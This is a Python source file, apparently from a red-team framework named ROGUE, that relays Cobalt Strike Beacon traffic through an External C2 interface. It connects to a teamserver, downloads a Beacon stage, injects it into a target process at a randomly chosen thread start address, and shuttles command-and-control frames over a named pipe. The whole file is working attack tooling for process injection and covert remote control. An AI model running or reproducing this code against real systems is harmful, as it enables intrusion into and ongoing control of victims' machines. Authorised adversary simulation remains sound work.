#
# ROGUE
#
# GuidePoint Security LLC
#
# Threat and Attack Simulation Team
#
import os
import sys
import click
import struct
import socket
import random
import click_params

from lib import errors
from lib import static
from lib import buffer
from lib import ntstatus
from lib import logging
from lib import helper
from lib.client import rogue_cmd

def send_frame_sock( sock_fd, buffer : bytes ) -> None:
    """
    Sends a extc2 frame to the Cobalt Strike Teamserver.
    """

    # create the buffer: [len] + buffer
    buf  = struct.pack( '<I', len( buffer ) )
    buf += buffer

    # send the entire buffer
    sock_fd.sendall( buf )

def recv_frame_sock( sock_fd ) -> bytes:
    """
    Recieves a extc2 frame from the Cobalt Strike Teamserver.
    """

    # read the buffer size
    buf = sock_fd.recv( 4 )

    # extract the frame size
    buffer_size = struct.unpack( '<I', buf )[0]

    # task buffer recieved from the teamserver
    buffer_task = b''

    # loop until we have the full data reiceved!
    while len( buffer_task ) < buffer_size:
        # read what we can from the buffer
        buffer_task += sock_fd.recv( buffer_size - len( buffer_task ) )

    # return the buffer
    return buffer_task

def send_frame_pipe( cmd_obj, agent_id, pipe_fd, buffer ) -> None:
    """
    Sends a extc2 frame to the Beacon.
    """

    # Write the length in little endian first
    cmd_obj.rogue_pipe_write( agent_id, pipe_fd, struct.pack( '<I', len( buffer ) ) )

    # set the offset we've written thus far
    buffer_queue = buffer

    # loop through until we've written everything thus far
    while len( buffer_queue ) != 0:
        # queue to the pipe
        buffer_write = cmd_obj.rogue_pipe_write( agent_id, pipe_fd, buffer_queue );

        # adjust to the next buffer
        buffer_queue = buffer_queue[ buffer_write : ]

def recv_frame_pipe( cmd_obj, agent_id, pipe_fd ) -> bytes:
    """
    Receives a extc2 frame from the Beacon.
    """

    # read the buffer size from the buffer!
    buffer_size = 0
    buffer_task = b''

    while True:
        try:
            # read a buffer if possible!
            buf = cmd_obj.rogue_pipe_read( agent_id, pipe_fd, 4, True ); 

            if buf != b'':
                # unpack the incoming size!
                buffer_size = struct.unpack( '<I', buf )[0]
                break;
        except errors.ClientTaskWindowsError as e:
            # Since were reading 'exactly' what we want, ignore
            if e.data == ntstatus.NtStatus.STATUS_BUFFER_TOO_SMALL:
                # ignore
                continue
            else:
                # re-raise it!
                raise e
        except Exception as e:
            raise e

    # loop until we have the full data recieved!
    while len( buffer_task ) < buffer_size:
        # read what we can from the buffer
        buffer_task += cmd_obj.rogue_pipe_read( agent_id, pipe_fd, buffer_size - len( buffer_task ), False )

    # return the buffer
    return buffer_task

@click.command( name = 'extc2', short_help = 'Cobalt Strike External C2.' )
@click.option( '--rpc-host', required = True, type = click_params.IPV4_ADDRESS, help = 'Address of the rpc server to connect to.', default = static.DEFAULT_RPC_HOST, show_default = True)
@click.option( '--rpc-port', required = True, type = int, help = 'Port of the rpc server to connect to.', default = static.DEFAULT_RPC_PORT, show_default = True )
@click.option( '--agent-id', required = True, type = int, help = 'Agent identifier' )
@click.option( '--pid', required = False, type = int, help = 'Process identifier' )
@click.option( '--start-addr', required = False, type = helper.click_hex_int, help = 'Start address to set for the injected code' )
@click.option( '--pipe-name', required = False, type = str, help = 'Named pipe used for communication with the postex' )
@click.option( '--teamserver-extc2-host', required = True, type = click_params.IPV4_ADDRESS, help = 'Address of the Cobalt Strike External C2 listener' )
@click.option( '--teamserver-extc2-port', required = True, type = int, help = 'Port of the Cobalt Strike External C2 listener' )
def extc2( rpc_host, rpc_port, agent_id, pid, start_addr, pipe_name, teamserver_extc2_host, teamserver_extc2_port ):
    """
    Relays a Cobalt Strike Beacon over rogue through its External C2 interface.
    This mechanism is experimental and is not designed to be a fast channel for
    operators.

    If no PID is specified, it will inject the same process as the agent. If a
    start address is not specified the script will choose one for you. If a
    pipe name is not specified, one will be generated for you based on safe
    defaults.
    """

    # initialize cmd
    cmd = rogue_cmd.RogueCommand( rpc_host, rpc_port )

    # pull the agent info
    cli = cmd.rpc.get_agent( agent_id );

    # is the PID set? If not, set it to the agents
    if pid is None:
        # A PID has been set.
        pid = cli['Pid']
    else:
        # ask to the pull the architecture of the process
        tgt_arch = cmd.rogue_proc_is_64( agent_id, pid );
        lcl_arch = cli['x64']

        # not the same architecture
        if tgt_arch != lcl_arch:
            logging.error( 'cannot perform cross architecture process injection.' );
            return

    # is the start address set? If not, set it to 0.
    if start_addr is None:
        # Attempt to get one using proc_thread
        proc_thread_raw = cmd.rogue_proc_thread( agent_id, pid );
        proc_thread_adr = []

        # could not pull proc thread information
        if proc_thread_raw == b'':
            logging.error( 'could not pull thread information to find a start address' );
            return

        # loop through each line
        for line in proc_thread_raw.split( b'\n' ):
            if line:
                # got the thread info
                thread_info = line.split( b'\t' );
                proc_thread_adr.append( int( thread_info[ 1 ], 16 ) );

        # pick a random address from the list
        start_addr = proc_thread_adr[ random.randint( 0, len( proc_thread_adr ) - 1 ) ];

        # print the start address
        logging.debug( f'Using start address {hex(start_addr)} in PID {pid}' )

    # no pipe name generate 
    if pipe_name is None:
        # generate the pipe name with a safe version
        pipe_name = helper.generate_postex_pipe( pid, cli['Tid'] );

        # print the pipe name
        logging.debug( f'Using pipe name {pipe_name}' )

    beacon_pipe = None
    beacon_sock = None

    # establish a connection to the CS teamserver
    try:
        beacon_sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
        beacon_sock.connect(( str( teamserver_extc2_host ), teamserver_extc2_port ))

        # ask for a beacon stage from the agent
        logging.success( f'Established a connection the Cobalt Strike Teamserver @ {teamserver_extc2_host}:{teamserver_extc2_port}' )

        # request an beacon based on arch
        if cli['x64']:
            send_frame_sock( beacon_sock, 'arch=x64'.encode() )
        else:
            send_frame_sock( beacon_sock, 'arch=x86'.encode() )

        # request based on the requested pipe and blocking type. note: adjust here
        send_frame_sock( beacon_sock, f'pipename={pipe_name}'.encode() )
        send_frame_sock( beacon_sock, f'block=100'.encode() )
        send_frame_sock( beacon_sock, f'go'.encode() )

        # recieve the beacon frame
        beacon_stage = recv_frame_sock( beacon_sock )

        # print!
        logging.debug( f'Beacon stage recieved of length {len(beacon_stage)}' )

        # inject it!
        beacon_point = cmd.rogue_inject( agent_id, pid, beacon_stage, None, start_addr, 0x1000 * 20, 0 );

        # open the named pipe
        beacon_pipe = cmd.rogue_pipe_open( agent_id, pipe_name, False );

        while True:
            try:
                # read from the beacon!
                beacon_smb_frame = recv_frame_pipe( cmd, agent_id, beacon_pipe );

                # print!
                logging.debug( f'Sending {len(beacon_smb_frame)} bytes of data to the Teamserver' )

                # send to the teamserver!
                send_frame_sock( beacon_sock, beacon_smb_frame )

                # recv from the teamserver!
                beacon_tcp_frame = recv_frame_sock( beacon_sock )

                # print!
                logging.debug( f'Sending {len(beacon_tcp_frame)} bytes of data to the Beacon' )

                # send to the beacon!
                send_frame_pipe( cmd, agent_id, beacon_pipe, beacon_tcp_frame )
            except errors.ClientTaskWindowsError as e:
                if e.data == ntstatus.NtStatus.STATUS_PIPE_DISCONNECTED:
                    # we were disconnected!
                    logging.error( f'Connection with Beacon was lost.' )
                else:
                    # generic unknwon error?
                    logging.error( f'Unknown NTSTATUS error: {hex(e.data)}' )

                # abort!
                raise SystemExit
            except Exception as e:
                # unknwon exception occured
                logging.error( f'Unknown error: {e}' )

                # abort!
                raise SystemExit
    except Exception as e:
        logging.error( f'Unknown error: {e}' )
        # abort!
        raise SystemExit
    finally:
        # close the named pipe
        if beacon_pipe != None:
            logging.debug( 'Disconnecting from the beacon' )
            cmd.rogue_pipe_close( agent_id, beacon_pipe );

        # close the client socket
        if beacon_sock != None:
            logging.debug( 'Disconnecting from the teamserver' )
            beacon_sock.close()